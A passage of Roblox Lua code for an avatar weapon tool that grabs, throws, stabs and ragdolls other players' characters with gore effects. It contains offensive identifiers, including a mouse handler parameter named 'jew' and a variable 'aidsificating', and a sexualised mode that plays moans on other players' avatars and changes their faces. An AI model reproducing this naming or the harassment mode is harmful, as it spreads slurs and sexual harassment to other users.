char.Torso end if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if torsoclone and char:FindFirstChild('Torso') and char:FindFirstChild('HumanoidRootPart') then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end end) working = false end function throw() working = true pcall(function() local rweld = char["Right Arm"]:FindFirstChild("Weld") local lweld = char["Left Arm"]:FindFirstChild("Weld") local tweld = Instance.new("Weld", char.HumanoidRootPart) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso local throwsound = Instance.new("Sound", char.Head) throwsound.SoundId = "rbxassetid://711753382" throwsound.PlaybackSpeed = 0.75 local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(-30), 0),0.04) end) local cor2 = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0.15, 0.4) * CFrame.Angles(0, math.rad(-30), math.rad(15)),0.04) end) cor() cor2() grabweld:Remove() throwsound:Play() local throwvel = Instance.new("BodyThrust") throwvel.Force = Vector3.new(0, 3000, -2000) pcall(function() throwvel.Parent = grabbed.Torso end) pcall(function() throwvel.Parent = grabbed.UpperTorso end) lerp(lweld,lweld.C0,CFrame.new(-1.3, 0.7, -1) * CFrame.Angles(0, math.rad(-70), math.rad(-105)),0.04) wait(0.15) throwvel:Remove() local cor = coroutine.wrap(function() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) local cor2 = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) cor() cor2() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),0.08) lweld:Remove() rweld:Remove() tweld:Remove() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if torsoclone and char:FindFirstChild('Torso') and char:FindFirstChild('HumanoidRootPart') then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end local lolgrabbed = grabbed spawn(function() wait(2) unstun(lolgrabbed) end) end) grabbed = nil working = false end function whoosh(vroom) vroom.Parent = workspace vroom.Name = "Projectile" vroom.CFrame = CFrame.new(char.Head.CFrame.p,mouse.Hit.p)*CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)) vroom.Anchored = true vroom.Velocity = Vector3.new(0,0,0) vroom.RotVelocity = Vector3.new(0,0,0) vroom.Anchored = false game:GetService('Debris'):AddItem(vroom,10) local flyy = Instance.new('BodyVelocity',vroom) flyy.Velocity = vroom.CFrame.rightVector*200 local touched = false for i,v in pairs(vroom:GetChildren()) do if v:IsA('BasePart') then v.Touched:connect(function(hit) local pos = vroom.CFrame if touched == false then if hit and hit.Parent and hit.Transparency ~= 1 and hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Parent~= char then touched = true local before = hit.Anchored vroom.Anchored = true vroom.Velocity = Vector3.new(0,0,0) vroom.RotVelocity = Vector3.new(0,0,0) vroom.CFrame = vroom.CFrame-(vroom.CFrame.rightVector) hit.Anchored = true flyy:Destroy() pcall(function() local weld = Instance.new('Weld',hit) weld.Part0 = hit weld.Part1 = vroom weld.C0 = hit.CFrame:toObjectSpace(vroom.CFrame) local ayybleed = Instance.new('Part',hit) ayybleed.Size = Vector3.new(0.2,0.2,0.2) ayybleed.BrickColor = BrickColor.new('Maroon') ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 1 ayybleed.CFrame = hit.CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) local attachment0 = Instance.new('Attachment',hit) for i,v in pairs(vroom:GetChildren()) do if v.Name == "blade" and v.Size == Vector3.new(0.23, 1.19, 0.1) then v.Name = "REEEE" end end attachment1.Orientation = vroom["REEEE"].Orientation+Vector3.new(90,0,0) attachment0.Position = hit.CFrame:toObjectSpace(vroom["REEEE"].CFrame).p-(hit.CFrame:toObjectSpace(vroom["REEEE"].CFrame).upVector) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = attachment0 end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed) end) bleedBLEED() if hit.Name ~= "Head" and hit.Name ~= "UpperTorso" and hit.Name ~= "Torso" and hit.Name ~= "LowerTorso" then game:GetService('Debris'):AddItem(ayybleed,7.5) end end) hit.Anchored = before vroom.Anchored = false vroom.CanCollide = true pcall(function() vroom:FindFirstChildOfClass('Trail'):Destroy() end) for i,v in pairs(vroom:GetChildren()) do if v:IsA('BasePart') then v.CanCollide = true end end if hit.Name == "Head" or hit.Name == "UpperTorso" or hit.Name == "Torso" or hit.Name == "LowerTorso" then pcall(function() hit.Parent.HumanoidRootPart:Destroy() end) pcall(function() ragdollpart(hit.Parent,"Left Arm") ragdollpart(hit.Parent,"Left Leg") ragdollpart(hit.Parent,"Right Arm") ragdollpart(hit.Parent,"Right Leg") end) pcall(function() ragdollpart(hit.Parent,"LeftUpperLeg") ragdollpart(hit.Parent,"RightUpperLeg") ragdollpart(hit.Parent,"LeftUpperArm") ragdollpart(hit.Parent,"RightUpperArm") end) spawn(function() wait(5) ragdollpart(hit.Parent,"Head") end) else pcall(function() ragdollpart(hit.Parent,hit.Name) end) end elseif hit and hit.CanCollide == true and hit.Parent and hit.Parent ~= char then touched = true local before = hit.Anchored vroom.Anchored = true vroom.Velocity = Vector3.new(0,0,0) vroom.RotVelocity = Vector3.new(0,0,0) hit.Anchored = true flyy:Destroy() vroom.CFrame = vroom.CFrame-vroom.CFrame.rightVector pcall(function() local weld = Instance.new('Weld',hit) weld.Part0 = hit weld.Part1 = vroom weld.C0 = hit.CFrame:toObjectSpace(vroom.CFrame) end) pcall(function() vroom:FindFirstChildOfClass('Trail'):Destroy() end) hit.Anchored = before vroom.Anchored = false end end end) end end end function fling() working = true pcall(function() local rweld = Instance.new("Weld", char["Right Arm"]) local lweld = Instance.new("Weld", char["Left Arm"]) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) lweld.Part0 = char.Torso lweld.Part1 = char["Left Arm"] lweld.C0 = CFrame.new(-1.5, 0, 0) local tweld = Instance.new("Weld", char.HumanoidRootPart) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso local at1 = Instance.new("Attachment", handle) local at2 = Instance.new("Attachment", handle) at1.Visible = false at1.Position = Vector3.new(2, 0, 0) at2.Visible = false at2.Position = Vector3.new(-0.3, 0, 0) local trail = Instance.new("Trail", handle) trail.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))}) trail.LightEmission = 0.25 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.75), NumberSequenceKeypoint.new(1, 1)}) trail.Lifetime = 0.10 trail.MinLength = 0.05 trail.Attachment0 = at1 trail.Attachment1 = at2 local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.75, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(45)),0.07) end) cor() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, -0.5) * CFrame.Angles(math.rad(45), math.rad(0), math.rad(0)),0.07) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.75, 1, 0.25) * CFrame.Angles(math.rad(35), math.rad(0), math.rad(150)),0.07) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(-45), math.rad(0)),0.07) end) local cor3 = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -2.5, 0) * CFrame.Angles(math.rad(90),math.rad(90), 0),0.12) end) cor() cor2() cor3() lerp(lweld,lweld.C0,CFrame.new(-1.75, 0.5, -0.5) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(-45)),0.07) wait(0.2) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 1, 0.25) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(170)),0.03) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.03) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1, 0, -0.45) * CFrame.Angles(math.rad(45), math.rad(0), math.rad(45)),0.03) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0.5, -0.5) * CFrame.Angles(math.rad(0), math.rad(60), math.rad(90)),0.03) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(45), math.rad(0)),0.01) end) cor() cor2() whoosh(handle:Clone()) for i, v in pairs(handle:GetChildren()) do if v:IsA("Part") then v.Transparency = 1 end end handle.Transparency = 1 trail:Remove() at1:Remove() at2:Remove() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(math.rad(45), math.rad(0), math.rad(0)),0.01) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(0.5, 0.4, -1) * CFrame.Angles(math.rad(0), math.rad(180), math.rad(75)),0.04) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(55), math.rad(0)),0.04) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(math.rad(45), math.rad(0), math.rad(0)),0.04) wait(0.2) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)),0.07) end) local cor2 = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.07) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)),0.07) for i, v in pairs(handle:GetChildren()) do if v:IsA("Part") then v.Transparency = 0 end end handle.Transparency = 0 hweld.C0 = CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0) lweld:Remove() rweld:Remove() tweld:Remove() if torsoclone and char:FindFirstChild("Torso") and char:FindFirstChild("HumanoidRootPart") then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end end) working = false end function kill() working = true pcall(function() local rweld = char["Right Arm"]:FindFirstChild("Weld") local lweld = char["Left Arm"]:FindFirstChild("Weld") local tweld = Instance.new("Weld", char.HumanoidRootPart) tweld.Part0 = char.HumanoidRootPart tweld.Part1 = char.Torso local killsound = Instance.new("Sound", grabbed.Head) killsound.SoundId = "rbxassetid://150315649" killsound.PlaybackSpeed = 1.2 local killsoundac = Instance.new("Sound", grabbed.Head) killsoundac.SoundId = "rbxassetid://162194585" killsoundac.PlaybackSpeed = 1 killsoundac.Volume = 1 local throwsound = Instance.new("Sound", char.Head) throwsound.SoundId = "rbxassetid://711753382" throwsound.PlaybackSpeed = 0.75 local chokesound = Instance.new("Sound", grabbed.Head) chokesound.SoundId = "rbxassetid://418658161" chokesound.TimePosition = 3 chokesound.PlaybackSpeed = 1 local bleedsound = Instance.new("Sound", grabbed.Head) bleedsound.SoundId = "rbxassetid://244502094" bleedsound.PlaybackSpeed = 1.5 bleedsound.Volume = 1 pitchun = math.random(9, 12)/10 pitchdos = math.random(9, 13)/10 killsound.PlaybackSpeed = pitchun killsoundac.PlaybackSpeed = pitchdos chokesound.PlaybackSpeed = pitchun pcall(function() grabbed.HumanoidRootPart:Destroy() end) lerp(rweld,rweld.C0,CFrame.new(0.5, 0.7, -0.70) * CFrame.Angles(0, math.rad(100), math.rad(105)),0.1) wait(0.2) lerp(rweld,rweld.C0,CFrame.new(2, 0.5, 0) * CFrame.Angles(0, math.rad(0), math.rad(90)),0.04) killsound:Play() killsoundac:Play() chokesound:Play() bleedsound:Play() local ayybleed = Instance.new('Part',grabbed) ayybleed.Size = Vector3.new(0.2,0.2,0.2) ayybleed.BrickColor = BrickColor.new('Maroon') ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 0.5 ayybleed.CFrame = grabbed.Head.CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(-0.55,0,0) attachment1.Orientation = Vector3.new(90, 0, -90) local attachment0 = Instance.new('Attachment') pcall(function() attachment0.Parent = grabbed.Torso end) pcall(function() attachment0.Parent = grabbed.UpperTorso end) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 pcall(function() constraint.Parent = grabbed.Torso end) pcall(function() constraint.Parent = grabbed.UpperTorso end) end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed) end) bleedBLEED() wait(0.2) local at1 = Instance.new("Attachment", handle) local at2 = Instance.new("Attachment", handle) at1.Visible = false at1.Position = Vector3.new(2, 0, 0) at2.Visible = false at2.Position = Vector3.new(-0.3, 0, 0) local trail = Instance.new("Trail", handle) trail.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))}) trail.LightEmission = 0.25 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.75), NumberSequenceKeypoint.new(1, 1)}) trail.Lifetime = 0.10 trail.MinLength = 0.05 trail.Attachment0 = at1 trail.Attachment1 = at2 lerp(rweld,rweld.C0,CFrame.new(1.5, 0.15, 0.4) * CFrame.Angles(0, math.rad(-40), math.rad(15)),0.08) lerp(rweld,rweld.C0,CFrame.new(1.5, 0.15, 0.4) * CFrame.Angles(0, math.rad(-30), math.rad(15)),0.1) local coru=coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0),math.rad(-90), 0), 0.07) lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0), 0.09) end) coru() local cor = coroutine.wrap(function() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(-30), 0),0.04) end) cor() grabweld:Remove() throwsound:Play() local throwvel = Instance.new("BodyThrust") throwvel.Force = Vector3.new(0, 3000, -1000) pcall(function() throwvel.Parent = grabbed.Torso end) pcall(function() throwvel.Parent = grabbed.UpperTorso end) trail:Remove() at1:Remove() at2:Remove() lerp(lweld,lweld.C0,CFrame.new(-1.3, 0.7, -1) * CFrame.Angles(0, math.rad(-70), math.rad(-105)),0.04) pcall(function() ragdollpart(grabbed,"Left Arm") ragdollpart(grabbed,"Left Leg") ragdollpart(grabbed,"Right Arm") ragdollpart(grabbed,"Right Leg") end) pcall(function() ragdollpart(grabbed,"LeftUpperLeg") ragdollpart(grabbed,"RightUpperLeg") ragdollpart(grabbed,"LeftUpperArm") ragdollpart(grabbed,"RightUpperArm") end) wait(0.15) throwvel:Remove() local cor = coroutine.wrap(function() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) local cor2 = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, 0, 0),0.08) end) cor() cor2() lerp(tweld,tweld.C0,CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),0.08) lweld:Remove() rweld:Remove() tweld:Remove() if torsoclone and char:FindFirstChild("Torso") and char:FindFirstChild("HumanoidRootPart") then local clone = torsoclone:Clone() clone.Part0 = char.HumanoidRootPart clone.Part1 = char.Torso clone.Parent = char.HumanoidRootPart end if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end local coru2=coroutine.wrap(function() local whyy = grabbed local continue = true local repeats = 0 while continue == true do local ree = pcall(function() if repeats < 20 then whyy:FindFirstChildOfClass('Humanoid').Health = whyy:FindFirstChildOfClass('Humanoid').Health-4.9 repeats = repeats+1 if whyy:FindFirstChildOfClass('Humanoid').Health <= 0 then continue = false end else continue = false end end) if ree == false then continue = false end if continue == true then wait(0.2) end end ragdollpart(whyy,"Head") end) coru2() throwsound:Remove() killsound:Remove() end) grabbed = nil working = false end function release() working = true pcall(function() unstun(grabbed) grabbed = nil grabweld:Destroy() removewelds(char["Right Arm"]) removewelds(char["Left Arm"]) local rweld = Instance.new("Weld", char["Right Arm"]) local lweld = Instance.new("Weld", char["Left Arm"]) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1, 0.7, -0.75) * CFrame.Angles(0, math.rad(95), math.rad(105)) lweld.Part0 = char.Torso lweld.Part1 = char["Left Arm"] lweld.C0 = CFrame.new(-1.25, 0.7, -0.75) * CFrame.Angles(0, math.rad(-140), math.rad(-105)) local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) end) local cor2 = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0),0.08) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) lweld:Remove() rweld:Remove() if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end end) working = false end function grab() working = true pcall(function() local rweld = Instance.new("Weld", char["Right Arm"]) local lweld = Instance.new("Weld", char["Left Arm"]) rweld.Part0 = char["Torso"] rweld.Part1 = char["Right Arm"] rweld.C0 = CFrame.new(1.5, 0, 0) lweld.Part0 = char.Torso lweld.Part1 = char["Left Arm"] lweld.C0 = CFrame.new(-1.5, 0, 0) local at1 = Instance.new("Attachment", handle) local at2 = Instance.new("Attachment", handle) at1.Visible = false at1.Position = Vector3.new(2, 0, 0) at2.Visible = false at2.Position = Vector3.new(-0.3, 0, 0) local trail = Instance.new("Trail", handle) trail.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))}) trail.LightEmission = 0.25 trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.75), NumberSequenceKeypoint.new(1, 1)}) trail.Lifetime = 0.10 trail.MinLength = 0.05 trail.Attachment0 = at1 trail.Attachment1 = at2 local spinnyshit = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0),math.rad(-90), 0), 0.07) lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0),math.rad(90), 0), 0.07) end) spinnyshit() local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(2, 0.5, 0) * CFrame.Angles(0, math.rad(0), math.rad(90)),0.08) end) cor() lerp(lweld,lweld.C0,CFrame.new(-2, 0.5, 0) * CFrame.Angles(0, math.rad(0), math.rad(-90)),0.08) wait(0.15) grabbing = true local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1, 0.7, -0.75) * CFrame.Angles(0, math.rad(95), math.rad(105)),0.08) end) cor() lerp(lweld,lweld.C0,CFrame.new(-1.25, 0.7, -0.75) * CFrame.Angles(0, math.rad(-140), math.rad(-105)),0.08) at1:Remove() at2:Remove() trail:Remove() wait(0.3) grabbing = false if grabbed == nil then local cor = coroutine.wrap(function() lerp(rweld,rweld.C0,CFrame.new(1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) end) local cor2 = coroutine.wrap(function() lerp(hweld,hweld.C0,CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0),0.08) end) cor() cor2() lerp(lweld,lweld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, math.rad(0), math.rad(0)),0.08) lweld:Remove() rweld:Remove() if leftclone and char:FindFirstChild('Left Arm') and char:FindFirstChild('Torso') then local clone = leftclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Left Arm"] clone.Parent = char.Torso end if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end end end) working = false end mouse.KeyDown:connect(function(kkk) local key = kkk:lower() if usable and working == false then if key == "z" then if equipped == false then if firsttime then firsttime = false notify("Equipped || Press X or C to equip one of two weapons",true) else notify("Equipped") end equip() else notify("Unequipped") unequip() end elseif key == "x" then if blademode ~= "katana" and equipped == true then getrid(handle) if firsttime2 then firsttime2 = false notify("Katana mode enabled || Press Q, E, or click to perform an action",true) else notify("Katana mode enabled") end katanamode() elseif blademode == "katana" then getrid(handle) notify("Katana mode disabled") end elseif key == "v" then if blademode ~= "gun" and equipped == true then getrid(handle) if firsttime5 then firsttime5 = false notify("Gun mode enabled || Click to perform an action",true) else notify("Gun mode enabled") end gunmode() elseif blademode == "gun" then getrid(handle) notify("Gun mode disabled") end elseif key == "b" then if childlock == false then if blademode ~= "dildo" and equipped == true then getrid(handle) if firsttime4 then firsttime4 = false notify("Dildo mode enabled || Click to perform an action",true) else notify("Dildo mode enabled") end dildo() elseif blademode == "dildo" then notify("Dildo mode disabled") getrid(handle) end end elseif key == "c" then if blademode ~= "knife" and equipped == true then getrid(handle) if firsttime3 then firsttime3 = false notify("Knife mode enabled || Press F, E, T, or Q to set modes; Click to perform an action",true) else notify("Knife mode enabled") end knifemode() elseif blademode == "knife" then notify("Knife mode disabled") getrid(handle) end elseif key == "q" then if blademode == "katana" then notify() katanaQ() elseif blademode == "knife" then mode = "release" notify("Mode changed to "..mode) end elseif key == "e" then if blademode == "katana" then notify() katanaE() elseif blademode == "knife" then mode = "throw" notify("Mode changed to "..mode) end elseif key == "f" then if blademode == "handle" then notify([[BEGONE THOT]]) begoneTHOUGHT() elseif blademode == "knife" then mode = "kill" notify("Mode changed to "..mode) end elseif key == "t" then if blademode == "knife" then mode = "fling" notify("Mode changed to "..mode) end end end if key == "m" and sounding == false then --badass mode pcall(function() if badass.Playing == false then sounding = true for i,v in pairs(workspace:GetDescendants()) do if v:IsA('Sound') and v~=player.Character.Head.Badass then v:Stop() end end badass:Play() badass.Volume = 10 sounding = false else sounding = true for i=1,100 do badass.Volume = badass.Volume-0.1 wait() end badass.Volume = 0 badass:Stop() sounding = false end end) end if key == "r" then rag1 = true if rag1 == true and rag2 == true then oogabooga() end end if key == "g" then rag2 = true if rag1 == true and rag2 == true then oogabooga() end end end) mouse.KeyUp:connect(function(key) if key == "r" then rag1 = false end if key == "g" then rag2 = false end end) handle.ChildAdded:connect(function(child) if child:IsA('BasePart') then child.CanCollide = false if child.Name == "blade" then child.Touched:connect(function(hit) if blademode == "katana" and swinging then if gettingeem then if goteem == nil then if hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Parent:FindFirstChildOfClass('Humanoid').Health > 0 and hit.Parent ~= char then local sounn = Instance.new("Sound", char.Torso) local lipp = math.random(1, 3) if lipp == 1 then sounn.SoundId = "rbxassetid://444667844" end if lipp == 2 then sounn.SoundId = "rbxassetid://444667824" end if lipp == 3 then sounn.SoundId = "rbxassetid://444667859" end sounn:Play() goteem = hit.Parent pcall(function() goteem.HumanoidRootPart:Destroy() end) pcall(function() ragdollpart(goteem,"Right Arm") ragdollpart(goteem,"Right Leg") ragdollpart(goteem,"Left Arm") ragdollpart(goteem,"Left Leg") end) pcall(function() ragdollpart(goteem,"RightUpperArm") ragdollpart(goteem,"RightUpperLeg") ragdollpart(goteem,"LeftUpperArm") ragdollpart(goteem,"LeftUpperLeg") end) pcall(function() local weld = Instance.new('Weld',goteem.Torso) weld.Part0 = goteem.Torso weld.Part1 = handle weld.C0 = CFrame.new(0,0,2)*CFrame.Angles(math.rad(90),0,math.rad(-90)) end) pcall(function() local weld = Instance.new('Weld',goteem.UpperTorso) weld.Part0 = goteem.UpperTorso weld.Part1 = handle weld.C0 = CFrame.new(0,0,2)*CFrame.Angles(math.rad(90),0,math.rad(-90)) end) pcall(function() local thang = "Torso" if goteem:FindFirstChild('UpperTorso') then thang = "UpperTorso" end local ayybleed = Instance.new('Part',goteem) ayybleed.Size = Vector3.new(0.2,0.2,0.2) ayybleed.BrickColor = BrickColor.new('Maroon') ayybleed.Material = Enum.Material.SmoothPlastic ayybleed.Name = "ayybleed" ayybleed.CanCollide = false ayybleed.Transparency = 1 ayybleed.CFrame = goteem[thang].CFrame ayybleed:BreakJoints() local attachment1 = Instance.new('Attachment',ayybleed) attachment1.Position = Vector3.new(0,0,0) attachment1.Orientation = Vector3.new(-90, 0, -90) local attachment0 = Instance.new('Attachment',goteem[thang]) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = goteem end local bleedBLEED= coroutine.wrap(function() bleed(ayybleed) end) bleedBLEED() end) end end elseif SLESH then if hit.Parent and hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Parent:FindFirstChildOfClass('Humanoid').Health > 0 and hit.Parent ~= char then local sounn = Instance.new("Sound", char.Torso) local lipp = math.random(1, 3) if lipp == 1 then sounn.SoundId = "rbxassetid://444667844" end if lipp == 2 then sounn.SoundId = "rbxassetid://444667824" end if lipp == 3 then sounn.SoundId = "rbxassetid://444667859" end sounn:Play() ragdollpart(hit.Parent,hit.Name,false) end else if hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Parent:FindFirstChildOfClass('Humanoid').Health > 0 and hit.Parent ~= char then local sounn = Instance.new("Sound", char.Torso) local lipp = math.random(1, 3) if lipp == 1 then sounn.SoundId = "rbxassetid://444667844" end if lipp == 2 then sounn.SoundId = "rbxassetid://444667824" end if lipp == 3 then sounn.SoundId = "rbxassetid://444667859" end sounn:Play() swinging = false ragdollpart(hit.Parent,"Head",true,false) end end elseif blademode == "knife" then if grabbing == true and grabbed == nil then if hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Parent:FindFirstChildOfClass('Humanoid').Health > 0 and hit.Parent ~= char then grabbed = hit.Parent stun(grabbed) local grabwelds = Instance.new("Weld", char.Torso) grabwelds.Part0 = char.Torso pcall(function() grabwelds.Part1 = grabbed.Torso end) pcall(function() grabwelds.Part1 = grabbed.UpperTorso end) grabwelds.C0 = CFrame.new(-0.45, 0, -1) grabweld = grabwelds end end end end) end elseif child:IsA("Model") then child.ChildAdded:connect(function(dildotip) if dildotip:IsA('BasePart') then dildotip.Touched:connect(function(hit) if MOAN == true then if hit.Parent:FindFirstChildOfClass('Humanoid') and hit.Parent:FindFirstChildOfClass('Humanoid').Health > 0 and hit.Parent ~= char then local sound = Instance.new('Sound',hit.Parent.Head) sound.SoundId = 'rbxassetid://959679286' sound.Volume = 5 sound:Play() local sound3 = Instance.new("Sound",hit.Parent.Head) sound3.Volume = 5.5 sound3.SoundId = "rbxassetid://702631545" sound3:Play() pcall(function() for i,v in pairs(hit.Parent.Head:GetChildren()) do if v:IsA('Decal') then v:Destroy() end end end) pcall(function() local ree=Instance.new('Decal',hit.Parent.Head) ree.Name = "face" ree.Texture = "rbxassetid://996521543" end) MOAN = false aidsificating = hit.Parent for i, v in pairs(handle["pink toy"]:GetChildren()) do if v:IsA("Part") then v:FindFirstChild("ParticleEmitter"):Destroy() end end end end end) end end) end end) mouse.Button1Down:connect(function(jew) if usable and working == false and equipped then if blademode == "katana" then notify() katanaswing() elseif blademode == "knife" then notify() if grabbed == nil then if mode == "fling" then fling() else grab() end elseif grabbed ~= nil then if mode == "kill" then kill() elseif mode == "throw" then throw() elseif mode 